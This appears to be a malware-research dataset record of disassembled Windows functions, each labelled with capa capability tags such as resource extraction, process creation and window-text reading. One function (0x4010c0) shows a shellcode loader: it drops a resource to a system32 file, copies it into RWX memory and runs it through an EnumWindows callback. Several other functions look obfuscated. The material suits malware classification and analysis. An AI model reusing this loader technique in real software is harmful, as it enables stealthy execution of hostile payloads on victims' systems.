joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002c591
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1002c5af
push 0x2574
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0xffffffe6
jmp 0x1002c601
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0xfffffff2
jle 0x1002c685
mov dword [ebp - 0x30], 0xef054a20
xor eax, eax
jne 0x1002c622
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jne 0x1002c622
and dword [ebp - 8], 0
jmp 0x1002c629
mov dword [ebp - 8], 1
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
cmp dword [ebp - 8], eax
jl 0x1002c644
mov dword [ebp - 0x14], 1
jmp 0x1002c648
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10]
push 0xfffffffffffffff7
pop ecx
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x14]
jl 0x1002c666
mov dword [ebp - 0x34], 1
jmp 0x1002c66a
and dword [ebp - 0x34], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
imul eax, dword [eax], 0x8de6
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
jmp 0x1002c5f6
mov esp, ebp
pop ebp
ret
Function at 0x1002d91e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
push 1
push 0x3a9a
push 0x1336
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.1002d84f
add esp, 0x14
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1002d958
xor eax, eax
jmp 0x1002da97
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1002d976
xor eax, eax
jmp 0x1002da97
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 0x20b5
push 1
call fcn.1002cb05
add esp, 0x10
cmp dword [ebp - 0xc], 0
jne 0x1002d999
xor eax, eax
jmp 0x1002da97
push 0x77c2
lea eax, [ebp - 4]
push eax
push 0x2743
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
lea eax, [ebp - 0x24]
push eax
push 0x459d
push 0x1036
push 0x2b78
push dword [ebp - 0x10]
call fcn.1002ccd3
add esp, 0x2c
push dword [ebp - 4]
push 0x5a90
push dword [ebp - 8]
push 0x5607
push dword [ebp + 8]
push 0x26f
push 0x6e52
push 0
push 0x2f8c
call fcn.10029a10
add esp, 0x24
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x1002da1a
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1002d8d0
add esp, 0xc
push dword [ebp - 4]
call fcn.1002c9f1
pop ecx
test eax, eax
jne 0x1002da2b
xor eax, eax
jmp 0x1002da97
push dword [ebp - 4]
push 1
push 0x3f37
call fcn.10026ae5
add esp, 0xc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002da7f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1002da5c
xor eax, eax
jmp 0x1002da97
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002da75
xor eax, eax
jmp 0x1002da97
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002da90
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1002da94
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x100430b1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0x477862f
mov dword [ebp - 8], 0
jmp 0x100430ce
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffe6
jg 0x10043112
mov dword [ebp - 0x14], 0x24c00011
mov dword [ebp - 0x10], 0x509cb0be
mov dword [ebp - 0x18], 0xc3d6
cmp dword [ebp - 8], 0
je 0x100430f1
jmp 0x10043112
push 0x35c0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
call fcn.100433af
add esp, 0x18
jmp 0x100430c7
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10043136
push 0
push 0x1082
push 0
push 0
push 0x1abb
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp + 0xc]
dec eax
and eax, dword [ebp + 8]
je 0x10043154
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10043025
pop ecx
pop ecx
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
jmp 0x1004315a
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x100433af
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1004340e
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x100433df
mov eax, dword [ebp - 8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0xfffffff8
je 0x10043409
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10043407
push 0x8db
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x100433d4
jmp 0x10043501
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jg 0x10043453
mov dword [ebp - 0x1c], 1
jmp 0x10043457
and dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0xc39ba095
jbe 0x10043469
mov dword [ebp - 0x10], 1
jmp 0x1004346d
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
jg 0x1004347e
mov dword [ebp - 0x20], 1
jmp 0x10043482
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [ebp - 0x20], eax
jl 0x1004349a
mov eax, dword [ebp - 0x48]
cmp dword [eax], 0
jne 0x1004349a
and dword [ebp - 0x24], 0
jmp 0x100434a1
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [ebp - 0x24], eax
jge 0x100434b4
mov dword [ebp - 0x28], 1
jmp 0x100434b8
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, dword [ebp - 0x28]
cmp eax, 0xe649
jne 0x100434d0
mov dword [ebp - 0x2c], 1
jmp 0x100434d4
and dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x2c]
jg 0x100434f2
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0
jne 0x100434f2
and dword [ebp - 0x30], 0
jmp 0x100434f9
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10043f49
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10043f92
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp dword [eax + 0x18], 0
jbe 0x10043f90
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push dword [eax + 0x18]
push 0
call fcn.100406f5
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
jmp 0x10043fab
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10043fab
push 0x1c59
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret
Function at 0x1007dc69
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10087330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1006c0dc
mov dword [ebp - 0x14], eax
cmp dword [0x10673d64], esi
jne 0x1007dd5c
push 0x800
push esi
push 0x10008168
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1007dce9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1007de3c
push esi
push esi
push 0x10008168
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1007de3c
push 0x10008180
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007de3c
push eax
call ebx
push 0x1000818c
push edi
mov dword [0x10673d64], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000819c
push edi
mov dword [0x10673d68], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100081b0
push edi
mov dword [0x10673d6c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10673d74], eax
test eax, eax
je 0x1007dd59
push 0x100081cc
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10673d70], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007dd81
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007dd74
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007dd96
push 4
pop eax
jmp 0x1007de3e
cmp dword [ebp - 0x14], esi
je 0x1007dd96
push dword [0x10673d64]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007dd7b
mov eax, dword [0x10673d70]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007ddf4
cmp dword [0x10673d74], edi
je 0x1007ddf4
push eax
call ebx
push dword [0x10673d74]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007ddf4
test eax, eax
je 0x1007ddf4
call ecx
test eax, eax
je 0x1007dde9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1007dde9
test byte [ebp - 8], 1
jne 0x1007ddf4
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007de24
mov eax, dword [0x10673d68]
cmp eax, edi
je 0x1007de21
push eax
call ebx
test eax, eax
je 0x1007de21
call eax
mov esi, eax
test esi, esi
je 0x1007de21
mov eax, dword [0x10673d6c]
cmp eax, edi
je 0x1007de21
push eax
call ebx
test eax, eax
je 0x1007de21
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10673d64]
call ebx
test eax, eax
je 0x1007de3c
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1007de3e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x54e714
push str.C:WINDOWS_system321.bin
call fcn.004ffe33
add esp, 8
push 0x54e734
push 0x82
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test esi, esi
je 0x401069
test edi, edi
je 0x401069
test ebx, ebx
je 0x401069
mov eax, dword [ebp - 4]
push eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push 1
push ebx
call fcn.004fffa1
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call fcn.00500088
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010c0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
mov esi, ecx
mov dword [ebp - 8], 8
mov dword [ebp - 4], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00404253
push 0
call fcn.00404d0b
call fcn.00401000
push 0x54e770
push str.C:WINDOWS_system321.bin
call fcn.004ffe33
push 2
mov edi, eax
push 0
push edi
call fcn.005002c0
push edi
call fcn.005004d0
push 0
push 0
push edi
mov esi, eax
call fcn.005002c0
push esi
call fcn.00500535
push edi
push 1
mov ebx, eax
push esi
push ebx
call fcn.00500813
add esp, 0x3c
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push ebx
mov edi, eax
push esi
push edi
call fcn.004ffd24
add esp, 0x10
push 0
push edi
call dword [sym.imp.USER32.dll_EnumWindows]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401740
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40175b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401792
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40178e
jmp 0x401780
cmp esi, eax
jae 0x401792
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401780
cmp esi, eax
jb 0x401799
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40491e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x404966
call fcn.0040ab84
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x404966
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4049a9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x404992
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x404992
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x4049a6
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x406721
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0040ab84
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40675a
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00406363
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x4067b8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x4067dc
cmp dword [edi + 0x74], 0
jne 0x4067dc
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0040ab84
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00406779
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41179a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x4117e1
call fcn.0040ab84
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4117e1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4117fd
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0041129f
mov esi, eax
test edi, edi
je 0x4117fb
test ebx, ebx
je 0x4117fb
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x411fb4
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x51a4b0
call fcn.0050130f
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x411fd9
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41202b
call fcn.00402d2e
push eax
lea ecx, [ebp - 0x10]
call fcn.00401630
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00500d3d
push eax
call fcn.00401d31
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004016c0
mov eax, esi
call fcn.005013e7
ret 8
Function at 0x437b3d
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004377fc
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x437b87
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040adbb
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405a1b
jmp 0x437b92
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00414b0b
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x437b98
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.004118a6
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x437bd5
call fcn.004377fc
mov dword [esi + 0xc], 1
jmp 0x437bda
call fcn.004377fc
cmp dword [esi], 0
je 0x437c23
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x437bfb
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040adbb
jmp 0x437c0d
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004015c0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405a1b
jmp 0x437c47
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x437c47
push dword [esi]
push dword [ebp + 8]
call fcn.00414b0b
pop esi
pop ebp
ret 0xc

Function at 0x458dcd
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004dafd7
call fcn.0040a5b5
cmp dword [eax + 0x14], 0
jne 0x458dea
mov ecx, esi
pop esi
jmp fcn.004588d2
pop esi
ret

Function at 0x45c3ff
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.00493da4
call fcn.0040a5b5
cmp dword [eax + 0x14], 0
jne 0x45c41c
mov ecx, esi
pop esi
jmp fcn.0045bdd2
pop esi
ret
Function at 0x46c357
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x46c371
call fcn.0040ab84
mov esi, dword [eax + 0xc]
push dword [0x5729f8]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x46c38f
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x46c387
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x46c3bc
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x46c389
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0046c285
mov esi, eax
jmp 0x46c3ae

Function at 0x4e69fd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e6a15
mov edi, dword [esi + 0xc]
jmp 0x4e6a55
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e6a2e
call fcn.00406f01
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e6a43
call fcn.00406f01
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e6a55
call fcn.00406f01
call fcn.0040ab84
cmp dword [eax + 0x3c], 0
je 0x4e6a6a
push edi
mov ecx, ebx
call fcn.004e5839
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e6917
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4e6a88
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e6a94
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4ffca0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x56da70]
jne 0x4ffcaa
repz ret
jmp fcn.005070c4